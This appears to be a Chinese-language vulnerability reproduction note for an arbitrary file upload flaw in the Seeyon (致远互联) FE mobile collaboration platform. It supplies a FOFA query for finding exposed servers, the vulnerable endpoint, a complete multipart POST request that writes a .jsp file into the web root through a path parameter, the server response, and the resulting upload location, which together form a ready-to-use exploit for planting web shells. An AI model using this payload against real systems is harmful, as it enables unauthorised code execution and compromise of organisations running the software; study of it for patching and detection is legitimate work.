

Z2-1致远互联-FE-移动协作平台-文件上传

漏洞描述：

北京致远互联软件股份有限公司致远互联-FE存在文件上传漏洞。

网站图片：



网络测绘：

fofa语法：

- fofaapp="致远互联-FE"

漏洞复现：

访问连接出现如下页面，表示可能存在漏洞

/ufmail/uploadAccessory.jsp



payload:

```
POST /ufmail/uploadAccessory.jsp?action=save&temppath=\\FE\\jboss\\server\\default\\deploy\\fe.war\\images\\upload\\&fileList= HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 317
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBW0vKOPTpUvxDioC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=42DC2F023CF8A97A9F9233D8EF7C90CD
Connection: close

-----WebKitFormBoundaryBW0vKOPTpUvxDioC
Content-Disposition: form-data; name="accessory"; filename="1.jsp"
Content-Type: application/octet-stream

123
-----WebKitFormBoundaryBW0vKOPTpUvxDioC--
```

效果图：

Request

1 POST /ufmail/uploadAccessory.jsp?action=save&tempath=\\FE\\boss\\server\\default\\deploy\\fe_war\\images\\upload\\&fileList= HTTP/1.1

2 Host :

3 Content-Length : 317

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBW0vKOPTpUvxDioC

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

9 Accept-Encoding: gzip, deflate

10 Accept-Language: zh-CN,zh;q=0.9

11 Cookie: JSESSIONID=42DC2F023CF8A97A9F9233D8EF7C90CD

12 Connection: close

13

14 ----WebKitFormBoundaryBW0vKOPTpUvxDioC

15 Content-Disposition: form-data; name="accessory"; filename="1.jsp"

16 Content-Type: application/octet-stream

17

18 123

19 ----WebKitFormBoundaryBW0vKOPTpUvxDioC--

Responses 4278bytes / 65ms

50 <td width="100%">

51 <input type="button" value="上传" id="addasory" class="singleInputButton" onclick="return setFileList()">

52 </td>

53 </tr>

54 <tr height="10"></tr>

55 <tr height="22">

56 <td align="right" nowrap>已有附件: </td>

57 <td bgcolor="#F7F7F7">

58 <select name="asoryList" id="asoryList" style="width:100%">

59 <option value="1698660060205.jsp" selected>1.jsp</option>

60 </select>

61 <td width="10%">

62 <input name="delasory" type="button" value="删除">

上传文件位置

/images/upload/1698660060205.jsp

← → ↺ 🏠

🛡️ 🔒 ... /images/upload/1698660060205.jsp

📁 fofa

📁 信息收集

📁 MD5

📁 沙箱

📁 blog

📁 study

📁 靶场

📁 tools

📁 chagpt

📁 dnslog

📁 wiki

📁 漏洞查询

📁 vulscan

🌐 zh